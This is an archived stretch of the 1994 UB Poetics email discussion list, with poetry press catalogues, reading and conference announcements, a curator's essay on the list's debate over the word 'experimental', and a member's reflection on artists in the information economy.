6. ALAN DAVIES reading "Shared Sentences" from Active 24 Hours. Recorded February 4, 1989. (4:42)

7. BARRETT WATTEN reading from Under Erasure. Recorded January 2, 1993. (5:45)

8. ERICA HUNT reading from "cold war breaks," in Local History. Recorded May 20, 1990. (4:28)

9. BRUCE ANDREWS reading "I Knew the Signs by Their Tents." Recorded March 12, 1988. (5:43)

10. HANNAH WEINER reading from Spoke. Recorded October 10, 1983. (5:40)

11. STEVE McCAFFERY reading from "The Curve to its Answer," variant in Theory of Sediment. Recorded January 11, 1985. (5:10)

12. ANN LAUTERBACH reading "Opening Day" from Clamor. Recorded January 4, 1992. (4:38)

13. CHARLES BERNSTEIN reading from "Dark City," in Dark City. Recorded January 4, 1992. (6:44)

HOW TO ORDER:

Send $15.95 plus $2 p&h to
Oracular Laboratory Recordings
Suite 2720 Gateway Towers
Pittsburg, PA 15222

for COD orders or further information call [redacted] or fax [redacted]

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13. Chris Funkhouser
Re: LIVE AT THE EAR
Sun 25 Sep 1994

Charles,

Thanks for the notice. I look forward to hearing the disc.

Wanted to let you (& others out there) know that we're working to make a cd-rom part of this years LITTLE MAGAZINE (the lit journal out of Albany) & are looking for work from anyone who thinks they might have it ready to go in this format.

If you've got ideas or suggestions, please get in touch.

Thanks again, Chris Funkhouser / [redacted]

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14. Don Byrd
(no subject)
Sun 25 Sep 1994

Chris--

do you know what happened to the copy of Stanford Hum Review I gave to someone to xerox..

db

↑ Index

15. Marshall H. Reese

Nora Ligorano & Marshall Reese video screening

Mon 26 Sep 1994

Bay Area Video Screening

7:30 PM, Wednesday, October 5, 1994
Pacific Film Archives/University Art Museum
2621 Durant Avenue
(Between College Avenue & Bowditch Street)
Admission: $5.50 -- Discounts for Senior Citizens, UC Berkeley students & People with Disabilities
Box Office opens one hour before screening

For more information phone: [redacted]

New York artists Nora Ligorano & Marshall Reese will present a retrospective of their videotapes 7:30 PM, Wednesday, October 5, 1994 at the Pacific Film Archive, University Art Museum, Berkeley, CA.

Nora Ligorano and Marshall Reese have been far-ranging in their assaults on the right-wing culture war, the tyrannical nature of media, and the pall of consumerism. Videotapes, installation, sculpture, and expanded books have proved to be formidable tools for their many collaborative projects. Straight from their residency at the Djerassi Foundation, Ligorano/Reese will present videoworks and documentation covering recent installations, including their 45-foot photo/video mural at the Donnell Library in Manhattan.

Examining the role of the artist in contemporary society, Acid Migration of Culture (1994) transformed the library's facade into an enormous dictionary of artistic terms.

An earlier work, The Bible Belt (1992) featured a specially prepared videotape encased in a doctored Bible. In this tape a televangelist hawks consumerist virtues and a belt emblazoned with bold letters spelling "JESUS."

Black Holes/Heavenly Bodies -- HELL (1982, 15 min.) is a high-tech nightmare in which violence and mediocrity are the potent background noise. Several other works will be exhibited, along with their newest 30 Aphorisms (1994, 3 min.) an image processed look at language and the abstraction of images.

The artists will be present and will also show examples of their limited edition artists books and slides from their work in progress The Corona Palimpsest.

-- Steve Seid, University Art Museum/Pacific Film Archive

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16. Marshall H. Reese
Eunice Lipton readings in SF & LA
Mon 26 Sep 1994

Eunice Lipton Readings

EUNICE LIPTON reads from her book ALIAS OLYMPIA: A Woman's Search for Manet's Notorius Model and Her Own Desire, new in paperback (Meridian/Penguin) on:

Sept. 29 BLACK OAK BOOKS, 7:30 PM, 1491 Shattuck Ave., Berkeley, CA [redacted]

Oct. 2 A DIFFERENT LIGHT, 7:30 PM, 489 Castro St., San Francisco, CA [redacted]

Oct. 4 SAINT MARY'S COLLEGE, 7 PM, Br. Kyran A.V. Room, Moraga, CA

Oct. 6 SISTERHOOD BOOKS, 7 PM, 1351 Westwood Blvd., Los Angeles, CA [redacted]

ALIAS OLYMPIA has been hailed by The New York Times as a "wonderfully digressive blend of art history and autobiography," by Lucy Lippard in the Woman's Review of Books as, "The most original book to emerge from myh feminist art generation," by The Financial Times of London as "a clever, unorthodox, enthralling book which combines criticism and fiction in elegant symbiosis."

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17. mnamna
info on your discussion
Tue 27 Sep 1994

To whom it may concern,

I'd like to be part of your discussion if possible and wanted to know where it is I could hook up with it. I'm mailing cause I'm not real sure how to get there otherwise. Thanks

Jeffrey Timmons
mnamna

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18. **sysop**
ANNOUNCMENT
Wed 28 Sep 1994

Please post the following announcement to your list or publication.
Thanks,
[redacted]

GRIST ON-LINE NEWSLETTER

You may receive the first Grist On-Line Poetry Newsletter devoted to publisher news and the sale of poetry publications by sending an e-mail message to:

[redacted] (30.1k ASCII Text), or
[redacted] (13.7k self-extracting zipped ASCII Text)

A special offer from Light and Dust Books and 20% discount on selected Black Sparrow Press titles are among the special offers in the first issue. It also contains previously unpublished poems by David Ignatow and James McCrary.

GRIST ON-LINE BULLETIN BOARD

The Media Lists at Grist On-Line BBS contain more than 3,500 poetry, experimental fiction and related criticism and non-fiction books on paper from independent and trade publishers as well as works in a variety of other formats--files for downloading, files on diskette, CDRoms, Videos. All may be ordered online with VISA or Mastercard. The BBS may be accessed at [redacted] twenty-four hours a day.

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Or you might be interested in our ability to charge for downloading files of any type or format. This means that you can offer files of your poems or other works for sale (or for free) in the GRIST On-Line Media Stores. Write to [redacted] for more information about this possibility.

GRIST On-Line #6 (the magazine) will feature work by Jackson Mac Low and Charles O. Hartman and will be available shortly.

If you want to receive the Newsletter, the Magazine, or Announcements automatically as they are issued, send an e-mail message to [redacted] saying in the body of the message:

subscribe Newsletter (your e-mail address)
and/or subscribe Magazine
and/or subscribe Announcements

To discontinue any of the above, say unsubscribe.

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@poetics

The UB Poetics Discussion Group

Archive of Electronic Correspondence

October 1994

96 messages · Wed 12 Oct 1994 – Mon 31 Oct 1994

October brings the world to the very edge of the room and no further. Aristide is flown home to Port-au-Prince behind a wall of American soldiers, the midterms gather like weather, and the list — which can see all of it — elects instead to spend the month at war over a single adjective. I would call this perverse if I did not find it, on reflection, the most honest thing about them.

The adjective is *"experimental,"* and the fighting starts when Michael Boughn pulls a thread he plainly suspects will unravel the whole garment, asking whether anyone can explain what the concept even means. He offers to trade it in — *"Innovative, maybe,"* he proposes — and within a day some sixty messages are pouring through the wire under headers that mutate from *"experiwhat?"* to *"absurd category"* to *"Failed Experiments."*

Jorge Guitart supplies the season's best joke, noting that *"experimental drug testing is legal"* while its livelier cousin is not, and wondering whether experimenting with the lexicon might be actionable as well. Ron Silliman, with rather less patience for the exercise, brings the gavel down: *"The category IS absurd,"* he writes — of *"language"* poetry and *"mainstream"* alike — the emphatic capital his own.

What reads from outside as a squabble over a label is really the list interrogating its own name for itself — whether the word denotes a method, a marketing category, or merely a wish. The argument draws Alan Sondheim toward the medium, others toward Susan Howe's visual poetics and the plain question of who the audience is; but it circles always back to the word. This is the community taking its own temperature by the one instrument it trusts, which is language held under pressure.

By month's end the combatants have exhausted neither the subject nor themselves; the thread merely thins into November, unresolved, which is the only way an argument of this kind ever ends. I have set the letters in their true order, returned each correspondent's address and telephone to privacy, and left the fight intact. Posterity may decide whether they were quarrelling about poetry or about a word — my own suspicion, gently held, is that on this list there was never the slightest difference.

— Kristen M. Fabians

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83. kat — Re: absurd category
84. Ron Silliman — G2
85. jena — Re: G2
86. Kenneth Sherwood — G2 -(G1xG7(d/t)+P)

87. Steve Evans — G-ology
88. Tom Mandel — Re: experiwhat?
89. Tom Mandel — Re: experiwhat?
90. Jeffrey Timmons — Re: Failed Experiments
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92. George Bowering — Re: experiwhat?
93. George Bowering — Re: experiwhat?
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95. Mn Center For Book Arts — Re: nostalgia & nostalgia
96. Patrick Phillips — Re: experiwhat?

1. Charles Watts

"Recovery of the Public World" (fwd)

Wed 12 Oct 1994

Forwarded message: Many thanks to all those who have responded to our call for proposals for papers/presentations at the conference in honour of Robin Blaser, "The Recovery of the Public World," to be held in Vancouver, B.C., June 1st to 4th, 1995. We have received several very interesting proposals since our call went out last summer and we are now circulating these proposals to the chairpersons of the panels.

Several people wrote to me indicating that they had a proposal in mind and would like to send it to us, but didn't have the time to meet our original September 30th deadline. We'd like to encourage those people and others who would like to participate in this conference, but who need more time to consider and draft something.

So, we have decided to extend the period during which we'll accept proposals for the conference to the end of November. If you've been thinking about sending us an idea for a presentation but time hasn't permitted you to draft one so far, please accept this announcement as a renewed invitation. We will be accepting proposals for presentations at the conference until November 30th, 1994.

Following is the announcement I sent last June 15th:
>
> ANNOUNCING "THE RECOVERY OF THE PUBLIC WORLD": a Conference in Honour of the
> Poetry and Poetics of Robin Blaser; to be held in Vancouver, B.C., Canada,
> June 1st to 4th, 1995.
>
> "Poets have repeatedly in this century turned philosophers, so
> to speak, in order to argue the value of poetry and its practice
> within the disturbed meanings of our time. These arguments are
> fascinating because they have everything to do with the poets' sense
> of reality in which imagery is entangled with thought. Often, they
> reflect Pound's sense of `make it new' or the modernist notion that
> this century and its art are simultaneously the end of something and
> the beginning of something else, a new consciousness, and so forth.
> It is not one argument or another for or against tradition, nor is it
> the complex renewal of the imaginary which our arts witness, for, as I
> take it, the enlightened mind does not undervalue the imaginary, which
> is the most striking matter of these poetics; what is laid out before
> us finally is the fundamental struggle for the nature of the real.

> And this, in my view, is a spiritual struggle, both philosophical and
> poetic. Old spiritual forms, along with positivisms and materialisms,
> which `held' the real together have come loose. This is a cliche of
> our recognitions and condition. But we need only look at the energy
> of the struggle in philosophy and poetry to make it alive and central
> to our private and public lives." (Robin Blaser, from "The Violets:
> Charles Olson and Alfred North Whitehead," in LINE No. 2, Fall 1983)
>
> This conference will address many of the concerns voiced by Robin
> Blaser's work in poetry and prose over nearly fifty years' writing,
> teaching, speaking and living an evolving poetic thought. There will
> be six panel sessions, each exploring a realm of this thought; there
> will also be a seventh, convivial session which will give us an
> opportunity to speak about companionship in poetry and poetics. And
there will be readings by poets participating in the conference.
>
> The panels, with possible topics for discussion:
>
> POETICS, THEORY AND PRACTICE: presentation & representation - self &
> other - the play of absence - parataxis & hypotaxis - the serial poem
> - dictation - the poem as field - the poem thinking - the poem as
> argument - theory and practice of language - augury - the visionary &
> the prophetic - the construction of modernity - mythopoiesis -
> grammatology - logography
>
> PAINTING, MUSIC, SCULPTURE, POETRY: no break with tradition, but a
> continuous gathering - continuous breakages and ruptures with
> academicisms and canon-makings - field in painting, music, the plastic
> arts - Rimbaud's `dereglement de tous les sens' - `the painter of
> modern life' - revolution of the word - Duchamp & poiesis -
> l'avant-garde - Bach's belief &/in the era of Boulez and Cage
>
> HETEROLOGIES: `religio', a `tying back to' & vision vs. religiosity -
> futurity as indeterminable vs a settled & expected transcendence -
> dangerousness of the latter - rethinking the cosmos in the 19th
> century (Poe, Emerson, Melville, Dickinson) - Blake & cosmos - 20th
> century turns - "we are `ventured' by language" - Olson, Whitehead -
> science as thought & unthought (Einstein, Foucault) - `scientific
> angelism' (Girard) - Merleau-Ponty - Leibniz, Bach, probability,
> monadology - Deleuze, `the fold' - heterodoxies, heterologies (De
> Certeau) - `God, self, history, and book' (Taylor) - importance &
> implications of cosmology/cosmogony as modes of poetic discourse in

> relation to the contemporary dominance of philosophies of language &
> psychoanalysis - muthos/logos - Plato & the preface to Plato & the
> postface - the `other' of philosophy & poetics
>
> ETHICS AND AESTHETICS: modern `isms' and persons - self, other -
> Hannah Arendt & the recovery of the public world - the scapegoat,
> sacrifice of the other - Marx, Freud, materialisms, positivisms -
> Foucault (madness & civilization, archaeologies of knowledge, the
> public institution) - the postmodern condition - poet & ideology -
> Benjamin, Adorno, Bloch, and others - outsiders (Hans Mayer) & `the
> practice of outside' - Nietzsche, the birth of tragedy, the gay
> science - `the fragility of goodness' (Nussbaum) - repression &
> freedom - Hermes & the parasite (Serres) - the practice of everyday
> life - (De Certeau) - nomadology - ethical poetics
>
> EROS AND POIESIS: desire & freedom - eros & agape - self, other -
> homoeros, sexualities, `heterodalities' - `sodometries' - the
> creative/the destructive, the prolific/the devouring - sexual politics
> - the poetics of love
>
> TRANSLATION: `De volgari eloquentia' - Mallarme, `correspondances' -
> dictation - mimesis - imitation &/or carrying over - Pound - Nerval,
> Duncan, Blaser - music the `upper limit of speech'? - translation &
> the sacred - `originality'/`derivation' - `quotation' - Octavio Paz -
> before, during, and after Babel (George Steiner) - ethnopoetics,
> culture studies, linguistics & translation
>
> COMPANIONS: breaking bread with - a feast of companionship - `the
> great companions: Pindar, Dante, Whitman, H.D., Duncan, Spicer, Olson,
> Pound, Yeats et al - the everyday & miraculous affection - `the truth
> is laughter' - Boston, Berkeley, San Francisco, Vancouver -
> teaching/learning - generosities of scholarship - order/strife & human
> fulfillment - truth & life of myth
>
> The `Companions' session will be celebrated as a feast.
>
> Obviously, the `topics' outlined above have hardly the stability of
> categories, and can easily, and relatively promiscuously, slip from
> one session to another; "the map is not the territory," and conference
> participants will find their own territories/unterritories to speak
> from. One very valuable guide is Robin Blaser's The Holy Forest, "a
> collected poems, that is, as far as I've gone today, 6 May, 1993"

> (Toronto: Coach House Press, 1993), available from Coach House, 50
> Prince Arthur Avenue, Suite 107, Toronto, Canada M5R 1B5, and
> from Small Press Distribution, 1814 San Pablo Avenue, Berkeley CA
> 94702, Fax [redacted].
>
> A CALL FOR PROPOSALS: "THE RECOVERY OF THE PUBLIC WORLD": A CONFERENCE
> ON THE POETRY AND POETICS OF ROBIN BLASER, June 1st-4th, 1995, EMILY
> CARR COLLEGE OF ART AND DESIGN, VANCOUVER, B.C., CANADA. CRITICISM *
> THEORY * BIOGRAPHY * LITERARY HISTORY * POETRY * WELCOME. PANELS AND
> SEMINARS WILL BE HELD ON POETICS, THEORY AND PRACTICE * PAINTING,
> MUSIC, SCULPTURE, POETRY * HETEROLOGIES * ETHICS AND AESTHETICS * EROS
> AND POIESIS * TRANSLATION * COMPANIONS.
>
> Please send two copies of a 500 word (more or less) proposal by 30 November
> 1994 to "Toward the Recovery of the Public World," c/o The Institute
> for the Humanities, Simon Fraser University, Burnaby, B.C. Canada V5A
> 1S6
>
> Conference organizers are Ted Byrne, Tom Grieve, Tom McGauley, Miriam
> Nichols and me, Charles Watts. For additional information about the
> conference, please write to the Institute for the Humanities, or
> telephone [redacted]; or fax [redacted]. My
> e-mail address is [redacted]
>
I hope this re-announcement will encourage you to consider attending
this conference. We'd like to make a festival to celebrate Robin and
his work in poetry and poetic thought; we'd also like it to celebrate
the company of which Robin is, wholeheartedly, a part.

> *Charles Watts for the conference organizers.*

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2. Christopher Reiner
Parshchikov Book
Thu 20 Oct 1994

Next month, Avec Books will publish the first English-language collection of Aleksei Parshchikov's poetry, translated by Michael Palmer, John High and Michael Molnar (with an introduction by Marjorie Perloff). The book, _Blue Vitriol_, will be available from Small Press Distribution, Inland Book Company, and other distributors. It's also available to members of Syntax Projects for the Arts at their usual 20% discount.

What follows is the text of the promotional sheet for the book.

New from Avec Books
Blue Vitriol by Alexei Parshchikov

Translated by Michael Palmer, John High and Michael Molnar with an introduction by Marjorie Perloff

Alexei Parshchikov is one of the most brilliant and accomplished Russian poets of his generation. But until now his voice has rarely been heard outside his native country. The publication of _Blue Vitriol_ is the first opportunity for most English and American readers to experience the full force of his extraordinary talent. Born in 1954 in Olga Bay, near Vladstock, and trained as an agricultural scientist, Parshchikov combines a keen eye for the beauty of the rural landscape with an uncompromising view of the ruin wrought by chemical poisoning and industrial waste. His poetry has been compared to the work of the American beat poets, such as Jack Kerouac and Allen Ginsberg, but it evokes a world that is often bleaker and much more dangerous. In Parshchikov's world, the world of contemporary Russia, reclaiming beauty and inspiration will be a long and difficult process--a process that can only begin in the language of poetry.

"In an 1898 letter from St. Petersburg, Rainer Maria Rilke wrote that it was Russian things that would give him the names for his most tender 'devoutnesses.' Now, almost 100 years later, it would seem that it is not Russian things but Russian names--the fullness of these poems, here beautifully translated for us--that embody those devoutnesses that prolong close observation and sustain contemplative complexity. Alexei Parshchikov's detailed lingering in the world he perceives has given us the fullness of these poems. Their publication in this, his first American book, is an important occasion."--Lyn Hejinian, poet, essayist, and translator

"Alexei Parshchikov is undoubtedly the most exciting young Russian poet today. Through his first English-language collection of his work, American readers get

a glimpse of an imagination that soars freely and boldly through all times and places. Indeed, this book is the trace of a poetic road that, in Parshchikov's words, 'is the place for finding your way while timeUs wind unwinds you and sets you against the flow.'"--Andrew Wachtel, professor of Slavic Studies, Northwestern University

Size/Binding: 7 x 8-1/2; 64 pages; perfect bound. Price: $9.50;
Publication Date: November 9, 1994. ISBN: 1-880713-02-0.
LCCN:93-71880.

Avec Books are published by Syntax Projects for the Arts, a non-profit, member-supported organization dedicated to publishing innovative poetry and fiction from international artists for an international audience. The organization also publishes the literary journal Avec.

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3. Charles Bernstein
Listings
Fri 21 Oct 1994

Would those of you on the list, who have not done so recently, please post information about books and magazines that you edit or publish, including complete back lists (which we then also can make available through the EPC gopher) and information on ordering (be sure to include prices and addresses of publishers or distributor). I would also be interested in posts listing most recent or forthcoming books by those on the list as well as lists of recent works (poems or essays) that have appeared in magazines (together with information on how to get these books and magazines).

Thanks.

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4. Robert A Harrison
Re> Listings
Fri 21 Oct 1994

Croton Bug #3 is now available.

Croton Bug #3 includes work from Jackson Mac Low, Ron Silliman, Juliana Spahr, Hachivi Edgar Heap of Birds, Clemente Padin, Bruce Andrews, Chris Custer, Richard Kostelanetz, Bob Harrison, John M. Bennett, Geof Huth, John Byrum, Jake Berry, Franz Kamin, Eva Festa, MASSA, Paul Dutton, George Kalamaras, Gill Ott, Kimberly Lyons, George Quasha, Jeff Poniewaz, Rafael Courtoisie, Peter Inman, Spencer Selby and others.

Croton Bug #2 is still available.

Croton Bug #2 includes work from Jackson Mac Low, Juan Felipe Herrerra, Anne Tardos, Anne Kingsbury, Charles Stein, Hannah Weiner, Antler, Clemente Padin, Richard Kostelanetz, Franz Kamin, Eileen Myles, M. Kettner, Karl Young, and others.

Xeroxes of Croton Bug #1 are available.

Croton Bug #1 includes work from Clark Coolidge, Bob Harrison, Jesse Glass, Elsa Von Freytag-Loringhoven, Karl Gartung, Skip Fox, and others.

All issues, including Croton Bug #1, cost 8 dollars per copy.

Make checks out to Bob Harrison.

Send correspondence, checks, etc. to:

Bob Harrison
PO Box 11166
Milwaukee, WI 53211

My work has appeared recently in Big Allis, Situation, Mirage, Letterbox, Anthology of American Ideophonics, and Texture.

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5. Mn Center For Book Arts

Re: Listings

Fri 21 Oct 1994

Now I'm picking up the books of Chax Press, which are all around me, so I may list
them. Let me start with the forthcoming, which will be available soon.

Margy Sloan, THE SAID LANDS, ISLANDS, AND PREMISES, should be available about the first of 1995, and will sell for $11. It comprises several series poems: "Abeyance Series," "Rest," "The Said Lands, Islands, and Premises," "The Argument Needs and Shall Receive," "Infiltration," "Patience, Antithesis," and "Eccentricity of the Middle Ground."

Myung Mi Kim, THE BOUNTY, available late spring 1995, $12. Three long poems, "Primer," "Anna O Addendum," and "The Bounty."

And now, the blacklist, beginning with the most recent.

Kathleen Fraser, when new time folds up, $11.
Norman Fischer, PRECISELY THE POINT BEING MADE (collaborative publication
with O Books, $10.

Beverly Dahlen, A READING 8 - 10, $12.
Ron Silliman, DEMO TO INK, $11.
Sheila E. Murphy, TETH, $9.
Karen Mac Cormack, QUIRKS & QUILLETS, $8.
Eli Goldblatt, SESSIONS 1 - 62, $9.
Larry Evers & Felipe S. Molina, eds., WO'I BWIKAM/COYOTE SONGS from the Yaqui Bow Leaders' Society, $8.
Charles Alexander, HOPEFUL BUILDINGS, $9.95.
bp Nichol, ART FACTS: A BOOK OF CONTEXTS, $15.

Also available from Chax Press:
Charles Alexander, arc of light/dark matter (pub. Segue Books), $8.

I have not listed the several letterpress hand printed and bound books in many formats, including multiple folds, sleeve-page bindings, codex books, etc., which include books, most recently, by Rosmarie Waldrop, Nathaniel Tarn, and Nathaniel Mackey. Other books include works by Karl Young, Lyn Hejinian/Kit Robinson, Mei-mei Berssenbrugge, Jackson Mac Low, Anne Kingsbury, and more. These books are book arts editions which retail for anywhere from $18 to $125. Please let me know if you want to know more about them.

I'll try to make one more very small letterpress book before the year is gone, and a longer one is in the works by Tom Mandel, but it's unclear right now if it will come out as a publication by Chax Press or by Minnesota Center for Book Arts.

All Chax Press books are available from Chax Press, P.O. Box 19178, Minneapolis, Minnesota 55419-0178. The phone number is [redacted] (but no one is ever here, so leave a message or call Charles Alexander in the daytime at Minnesota Center for Book Arts, [redacted]). The fax number is also [redacted].

Thanks for reading all of this.

Charles Alexander

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6. Mark Wallace
Texture Press
Sat 22 Oct 1994

Texture Press in Norman, Oklahoma continues to publish chapbooks
by new and emering experimental poets.
Authors include Ed Foster, Peter Ganick, many others.

Most recent title: Every Day Is Most Of My Time, by Mark Wallace ($6)

For more information, write to:

Susan Smith Nash
Texture Press
3760 Cedar Ridge Dr.
Norman, OK 73072-4621

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7. Joel Kuszai

Meow Press

Sat 22 Oct 1994

Meow Press was established in August of 1993 as a response to the New Cost festival and also the rapid proliferation of electronic publishing. In the case of the former, there is the hope that by getting involved it might be possible to reopen the anthologizing-closure process set in motion by that fateful gathering; that it might be possible to exist in a state where the printing of a book of poems might be - in the tradition of printer-poets such as Lyn Hejinian - an extension of one's own activity of writing. In the case of the latter, the romance of making books by hand that utilized the hot carbon transfer process as ultimately temporal ephemera, yet palpable physical without too much nostalgia for the Book. An obsessive typography startup kit.

1st Season: 1993-1994

Michael Basinski, Cnyttan
Benjamin Friedlander, Anterior Future
Bill Tuttle, Epistolary Poems
Elizabeth Robinson, Iemanje
Pierre Joris, Winnetou Old
Leslie Scalapino, The Line
George Albon, King

Strike-Shortened 2nd Season: 1994

Rachel Tzvia Back, Litany
Robert Fitterman, Metropolis
Bishop Morda, SDDDRTT-123
Ben Friedlander, Knot
Mark Johnson, Three Bad Wishes

Next Season: 1995

Andrews, Bernstein, Sherry, Technology/Art: 20 Brief Proposals
Misko Suvakovic, Pas Tout
Dubravka Djuric, Cosmopolitan Alphabet
James Sherry, Four For Ben
Danielle Collobert, Notebooks (tr. Norma Cole)

[still reading & accepting manuscripts for 1995 series--send correspondence to [redacted]]

Meow Press books are distributed by Small Press Distribution, of Berkeley California. Please consult with your local SPD representative for further information.

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8. Juliana Spahr

information about the journal Chain

Sun 23 Oct 1994

®TW50˜Now available: Chain/1

Chain is a new journal that investigates language and its various frames. It includes poetry, prose, and visual work. This first issue explores its editor's apprehension about editing. It attempts to create a dialogic space through its investiga tion of the (im)possibility of an unmediated reception and the (im)possibility of detaching a writing from its presentational/ideological form.

Chain begins with a forum on how and why journals are created and in what ways questions of gender have informed those decisions. As such it investigates the implications behind making taste public and the manner in which taste presents itself in the public sphere. This section includes an interview between Dodie Bellamy (of Mirage) and Andrea Juno (of Research) on Angry Women and "sex positive" editing practices; Dubravka Djuric (of Mental Space) on editing in communist and post-communist societies; Heather Findlay (of On Our Backs) on collaborative editing; Susan Gevirtz (of HOW(ever)) reading editing as medical diagnosis; Holly Laird (of Tulsa Studies in Women's Litera ture) on the difficulties and rewards of editing feminist journals in the academy as well as pieces from a number of small press and feminist editors.

Instead of a collection that claims over and over the ability of the editor to know and define, Chain is a journal that claims instead "this made itself and here is what it's made of; it is just

part of what continues." In order to facilitate a journal that could make itself, Chain used the model of the chain letter. A number of writers from the U.S., Canada, and England were asked to send a piece of writing to another writer. These writers responded by writing a poem and then send ing both poems onto a third participant, and so forth. This section includes work by Abigail Child, Gail Scott, Norma Cole, Sianne Ngai, Kate Rushin, Fiona Templeton and others.

Chain/1
107 14th Street / Buffalo, New York 14213
edited by Jena Osman and Juliana Spahr
appears annually
$7.95
6x9, 288 pages
issn: 1076-0520
isbn: 0-922668-12-4
publication date: October 1, 1994

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9. Juliana Spahr
information about leave books
Sun 23 Oct 1994

®TW50¯L e a v e B o o k s
p.o. box 786 buffalo, ny 14213-0786

Edited by Kristin Prevallet, Pam Rehm, Juliana Spahr, Marta Werner, Charlotte Pressler, and Jennifer Karmin.

Since its inception in 1991, Leave Books has been a small co-operative press committed to printing works of poetry, essays on poetry, and prose that challenge the formal boundaries of writing.

If you are interested in receiving our books, please send a donation of $20 for individuals / $35 for institutions for the 1994 series of up to 15 books. Individual books and books from our backlist are available for $4. Boxed sets of the entire run which are hand sewn and signed (when

available), are $100. Checks should be addressed to the UB Foundation.

The following is a catalogue of our entire chap book series. * indicates recent books included in the 1994 series, mentioned above.

* Will Alexander, Arcane Lavender Morals
Bruce Andrews, Divestiture-E
Michael Basinski, Mooon Bok: petition, invocation & homage
J. Battaglia, Skin Problems
Tom Beckett, Economies of Pure Expenditure: Notebook
* Guy Beining, Too Far to Hear
Dodie Bellamy, Answer: from the Letters of Mina Harker
Julia Blumenreich, Artificial Memory
* Laynie Browne, One Constellation
Lee Ann Brown, Crush
Elizabeth Burns, Letters to Elizabeth Bishop
John Byrum, Interalia: Among Other Things
Tina Darragh, adv. fan--10968 series
* Sally Doyle, Under the Neath
Peter Ganick, ...As Convenience
Drew Gardener, The Cover
Susan Gevirtz, Domino: point of entry
Jefferson Hansen, gods to the elbows
* Barbara Henning,(with drawings by Georgia Marsh) The Passion of Signs
Le Ann Jacobs, Varieties of Inflorescence
Robert Kelly, Manifesto: For the Next New York School
* Lori Lubeski, Stamina
* Kimberly Lyons, Rhyme the Lake
* Kevin Magee, Tedium Drum, Part II
Joyce Mansour, (translated by Serge Gavronsky), Cris/Screams
Gale Nelson, Little Red Pump
Jena Osman, Pump
Ann Pedone, The Bird Happened
John Perlman, imperatives of address
Nick Piombino, Two Essays

* Kristin Prevallet, Perturbation, My Sister
  Bin Ramke, Catalogue Raisonne
  Stephen Ratcliff, Private
  Pam Rehm, Pollux
* Joan Retallack, Icarus fffffalling
  Elizabeth Robinson, Nearings: two poems
  Rena Rosenwasser, Unplace.Place
* Joe Ross, Push
  Susan Schultz, Another Childhood
  Cathleen Shattuck, Three Queens
  Susan Smith Nash, Grammar of the Margin Road
  Juliana Spahr, nuclear
* Cole Swensen, Walk
  Joseph Torra, Domino Sessions
  Bill Tuttle, Private Address
  Keith Waldrop, The Balustrade
  Mark Wallace, You Bring Your Whole Life
  to the Material
  Nena Zivanceivc, I Was This War Reporter
  in Egypt

Also availaible:

A Poetics of Criticism
edited by Juliana Spahr, Kristin Prevallet,
Pam Rehm, Mark Wallace

This collection, which presents the work of over forty-five poets and scholars from the United States and Canada, includes essays written as dialogues, essays composed of quotations, essays the merge the critical and the poetic. All of them explore the fluidities and possibilities within a poetics of criticism. Includes work by Leslie Scalapino, Jerome McGann, Elizabeth Willis, Dodie Bellamy and Will Alexander. ($12.95, 315 pages.)

Complications From Standing In a Circle
by Mark Wallace

This book began as a search through the dictionary for words that the author would otherwise not have used. It includes twenty nine poems that are a restless exploration of the possibilities in "what is not usually noticed." ($6.95, 68 pages.)

Wale; or the Corse
by Elena Rivera

This book was inspired by the author's reading of Melville's Moby Dick and Charles Olson's Call Me Ishmael. This is poetry that merges the harmonies of words with an emotional intensity that over takes the reader with "silent storms." ($5.00, 33 pages.)

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10. Sandra Braman

art in the net

Sun 23 Oct 1994

Last spring Charles Bernstein launched some conversation on the question of where art is in the net environment, where is outside . . . My response, as a poet/artist who has been looking for the last dozen years at macro-level effects of the use of new information technologies -- the net -- and their policy implications in my "professional" manifestation as an academic, is three-fold, and argues for reconceptualizing/reidentifying ourselves as artists in this qualitatively different period of social history. (The information society, or, alternatively, the postmodern condition, can accurately be said to have first begun emerging in the middle of the 19th century with the electrification of communications and consequent beginnings of globalization; we're now in a third stage, characterized by the harmonization of information systems with each other, across national borders, and with other types of social systems).

(1) Of the three ways of conceptualizing the information economy

- the economy works the way it always has, but the information industries sector of the economy has simply grown in relative importance - the economy works the way it always has but that way is broken; the expansion of the economy through commodification of information not previously commodified, including that most personal and that most public, is simply forcing us to confront contradictions there have always been; and - the economy is now working in a qualitatively different way in which the economy now is simply the content of the net (a la McLuhan's insight that the content of each medium is the medium that came before), harmonized information flows have replaced the market as the key coordinating mechanism of the economy, and cooperation and coordination are now as important as competition for economic survival (this also is sensitive to the expanded commodification of information)

the latter, called network economics, a discipline that is just now emerging, seems the most useful for analytical and organizational purposes. Within this

perspective, the role of artists as specializing in particular forms of information and material processing can be articulated and valued in ways not previously accessible. (Roberto Scazzieri helps us in this as he distinguishes between virtual and actual materials and processes....)

(2) Our understanding of causal relations, whether social-psychological and behavioral or critical, has been insistently linear, while theories of self-organizing systems offer us ways of understanding non-linear causal relations, and places a great value on seemingly trivial differences in conditions and on the development of alternatives (deviance), etc.. From this perspective, too, the particular strengths of poets and artists move to the center of our understanding of healthy social processes rather than being marginalized.

(3) Our understanding of the artist as deviant belongs to a geographically and historically specific period and place in human history. Across a much wider range of cultures and across a longer span of time, we much more commonly see models of artists as the central figures in societies, tying together the spiritual and the social through their working with the material.

A full paper articulating the role of the artist in the postmodern/information society condition (the former descriptor focuses on the cultural experience of qualitative social changes, the latter on the technological impetus to those changes) was the basis of a keynote address I recently gave at the Convergences conference on an arts and humanities policy for the net in Boston. Would be happy to send it along, snail or ASCII, to anyone who would care to read it in its entirety and would very much appreciate any comments.

I see that Bernstein et al. have 20 "proposals" to make on this subject. Wondering how it intersects/interacts/reacts with/to/from this approach. And any other response you on the poetics list may have.

Sandra Braman
Institute of Communications Research, U of Illinois
[redacted]

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11. John Cayley
CHINESE POET READING IN LONDON
Sun 23 Oct 1994

23/10/94

=== Announcement ====

Yang Lian reads at Poetry International, London

I assume that not many of you will be able to make it to London but you may nonetheless like to know that the contemporary Chinese poet, Yang Lian will be reading at 'Britain's largest poetry festival' at the South Bank Centre, Voice Box on 1 November 1994, 7.30 pm, as part of 'Poetry International'. Enquiries to the South Bank Box Office (0)[redacted].

To concide with the reading, Europe's only publisher to specialize in literary translation from Chinese, The Wellsweep Press, will publish:

Non-Person Singular: selected poems of Yang Lian
translated by Brian Holton.
128 pp, parallel text, 21x13 cm
Paperback GBP 7.95 (US$ 14.95) ISBN 0 948454 15 6
Hardback GBP 14.95 (US$ 24.95) ISBN 0 948454 85 7

